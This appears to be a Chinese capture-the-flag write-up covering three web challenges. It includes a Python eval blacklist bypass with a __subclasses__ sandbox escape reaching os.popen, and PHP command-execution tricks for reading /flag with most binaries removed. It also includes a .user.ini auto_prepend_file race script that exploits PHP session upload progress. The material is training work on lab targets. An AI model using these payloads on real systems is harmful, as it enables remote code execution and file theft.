过滤名单
['import', 'open', 'eval', 'exec', 'class', '\'', '"', 'vars', 'str', 'chr', '%', '_', 'flag','in', '-', 'mro', '[', ']']
fastapi的题目,很熟悉的访问文档redoc和docs
安全的计算器v2(flag就在根目录,但我不相信你能得到她)
q=7*8
{"res":56,"err":false}
这里的SSTI不需要{}即可解析
youdontknow = ['import', 'open', 'eval', 'exec', 'class', '\'', '"', 'vars', 'str', 'chr', '%', '_', 'flag','in', '-', 'mro', '[', ']']
print(youdontknow)
youdontknow.clear()
print(youdontknow)
['import', 'open', 'eval', 'exec', 'class', "'", '"', 'vars', 'str', 'chr', '%', '_', 'flag', 'in', '-', 'mro', '[', ']']
[]
查看当前的全局变量
post参数q=dir()
//print(eval('(dir())'))
{
"res": [
"__name__",
"__doc__",
"__package__",
"__loader__",
"__spec__",
"__annotations__",
"__builtins__",
"__file__",
"__cached__",
"Optional",
"FastAPI",
"Form",
"uvicorn",
"app",
"hello",
"youdontknow",
"calc"
],
"err": false
}
q=youdontknow
{"res":["import","open","eval","exec","class","'","\"","vars","str","chr","%","_","flag","in","-","mro","[","]"],"err":false}
q=youdontknow.clear()
q=open("/flag").read()
即可拿到flag
也可以执行命令
q=[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /').read()
后端逻辑
def calc(q: Optional[str] = Form(...)):
try:
for kiword in youdontknow:
if kiword in q:
return {"res": "hack out!", "err": False}
return {"res": eval(q), "err": False}
except:
return {"res": "", "err": True}
老前辈说过“最安全的系统就是什么都没有”,我把没用的命令都删了,看你还怎么执行
你知道系统环境变量里的PATH是干什么的吗?
isset($_GET['xbx'])?system($_GET['xbx']):highlight_file(__FILE__);
?xbx=ls /
发现根目录存在/flag,但是重定向和外带均失败
?xbx=ls /bin
//ls rm sh
cat coleak.txt
coleak1
coleak2
coleak3
/bin/sh a
#!/bin/bash
cat ./coleak.txt | while read LINE; do
echo $LINE
done
#!/bin/bash
while read LINE; do
echo $LINE
done < ./coleak.txt
#!/bin/bash
exec < ./coleak.txt
while read LINE; do
echo $LINE
done
#!/bin/bash
while read LINE
do
echo $LINE
done < ./coleak.txt
这里用-e进行转义设置,\n换行,$表示原来的$
?xbx=echo -e "%23!/bin/sh\nwhile read LINE\ndo\necho \$LINE\ndone < /flag" > readflag
?xbx=/bin/sh readflag
&需要编码为%26
重定向,一般来说1是正确输出,2是错误输出
我们在sh /flag 后面加上2>&1
代表将2(指的是错误输出)重定向到&1,这里&代表等价于,即2输出重定向到等价于1的位置
?xbx=sh /flag 2>%261
但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=coleak,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
error_reporting(0);
highlight_file(__FILE__);
include('waf.php');
$file = $_GET['file'] ?? NULL;
$content = $_POST['content'] ?? NULL;
(waf_file($file)&&waf_content($content))?(file_put_contents($file,$content)):NULL;
waf过滤了一堆的东西,但是没有过滤.user.ini
脚本如下
import io
import requests
import threading
sessid = 'coleak'
url = "http://599c98c3-9ed1-4837-80a2-5152e40ce1e2.challenge.ctf.show/"
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': ""},
files={'file': ('coleak.txt', f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.get(url+"waf.php")
if "coleak.txt" in resp.text:
print(resp.text)
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
# 第一步上传.user.ini文件,将我们的session文件内容添加到默认头
coleak = {
"content": "auto_prepend_file=/tmp/sess_" + sessid
}
session.post(url + "?file=.user.ini", data=coleak)
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
附原脚本
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1:5555/test56.php',
data={'PHP_SESSION_UPLOAD_PROGRESS': ''},
files={'file': ('tgao.txt',f)},
cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()